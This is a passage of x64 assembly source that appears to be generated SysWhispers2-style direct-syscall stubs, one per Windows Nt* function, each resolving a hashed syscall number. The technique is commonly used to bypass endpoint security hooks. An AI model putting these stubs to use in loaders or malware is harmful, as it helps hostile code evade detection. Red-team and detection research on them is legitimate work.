mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0852D86BBh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateKeyedEvent ENDP
NtCreateLowBoxToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0642560BFh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateLowBoxToken ENDP
NtCreateMailslotFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0B6B8BA0Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateMailslotFile ENDP
NtCreateMutant PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 076AD7F38h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateMutant ENDP
NtCreateNamedPipeFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A204B4B8h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateNamedPipeFile ENDP
NtCreatePagingFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0941ABB50h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreatePagingFile ENDP
NtCreatePartition PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07CA57A31h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreatePartition ENDP
NtCreatePort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A4B6BF39h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreatePort ENDP
NtCreatePrivateNamespace PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 060D1874Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreatePrivateNamespace ENDP
NtCreateProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0E7A70F3Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateProcess ENDP
NtCreateProfile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0EAB8E91Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateProfile ENDP
NtCreateProfileEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01BA5C8F9h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateProfileEx ENDP
NtCreateRegistryTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A3AB9F21h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateRegistryTransaction ENDP
NtCreateResourceManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01B9F3504h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateResourceManager ENDP
NtCreateSemaphore PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 098897084h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateSemaphore ENDP
NtCreateSymbolicLinkObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 008882235h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateSymbolicLinkObject ENDP
NtCreateThreadEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0003142CBh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateThreadEx ENDP
NtCreateTimer PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 09C0FA8B5h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateTimer ENDP
NtCreateTimer2 PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02993E69Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateTimer2 ENDP
NtCreateToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07DC04360h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateToken ENDP
NtCreateTokenEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 040A37E64h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateTokenEx ENDP
NtCreateTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 098B1962Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateTransaction ENDP
NtCreateTransactionManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03A3912A3h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateTransactionManager ENDP
NtCreateUserProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 039A20608h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateUserProcess ENDP
NtCreateWaitCompletionPacket PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00992696Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateWaitCompletionPacket ENDP
NtCreateWaitablePort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 05EF25362h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateWaitablePort ENDP
NtCreateWnfStateName PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0E9D72061h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateWnfStateName ENDP
NtCreateWorkerFactory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C854FCFAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateWorkerFactory ENDP
NtDebugActiveProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01D9FDDC2h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDebugActiveProcess ENDP
NtDebugContinue PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02F56C246h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDebugContinue ENDP
NtDeleteAtom PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07AF05F22h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDeleteAtom ENDP
NtDeleteBootEntry PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00D910211h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDeleteBootEntry ENDP
NtDeleteDriverEntry PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 049DC716Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDeleteDriverEntry ENDP
NtDeleteFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08BBBC569h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDeleteFile ENDP
NtDeleteKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0EE5A112Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDeleteKey ENDP
NtDeleteObjectAuditAlarm PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 032B33622h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDeleteObjectAuditAlarm ENDP
NtDeletePrivateNamespace PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0092E30B8h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDeletePrivateNamespace ENDP
NtDeleteValueKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08ABB6DA4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDeleteValueKey ENDP
NtDeleteWnfStateData PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0AD8DF1B0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDeleteWnfStateData ENDP
NtDeleteWnfStateName PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 089B7C081h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDeleteWnfStateName ENDP
NtDisableLastKnownGood PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0E8DA29FCh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDisableLastKnownGood ENDP
NtDisplayString PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C941C223h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDisplayString ENDP
NtDrawText PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0EF5C1235h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDrawText ENDP
NtEnableLastKnownGood PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01DCF87F8h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtEnableLastKnownGood ENDP
NtEnumerateBootEntries PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0328A6311h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtEnumerateBootEntries ENDP
NtEnumerateDriverEntries PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02C805903h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtEnumerateDriverEntries ENDP
NtEnumerateSystemEnvironmentValuesEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 061EDBDB9h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtEnumerateSystemEnvironmentValuesEx ENDP
NtEnumerateTransactionObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0E539ABFCh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtEnumerateTransactionObject ENDP
NtExtendSection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D64CD2D7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtExtendSection ENDP
NtFilterBootOption PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03E961E1Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFilterBootOption ENDP
NtFilterToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 005910D08h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFilterToken ENDP
NtFilterTokenEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0089B563Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFilterTokenEx ENDP
NtFlushBuffersFileEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F719BBEDh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFlushBuffersFileEx ENDP
NtFlushInstallUILanguage PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0B3947A38h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFlushInstallUILanguage ENDP
NtFlushInstructionCache PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C35E3D3Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFlushInstructionCache ENDP
NtFlushKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03C3A1D83h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFlushKey ENDP
NtFlushProcessWriteBuffers PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 032DC51CCh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFlushProcessWriteBuffers ENDP
NtFlushVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 007976D09h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFlushVirtualMemory ENDP
NtFlushWriteBuffer PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0762866B7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFlushWriteBuffer ENDP
NtFreeUserPhysicalPages PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00C5DE422h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
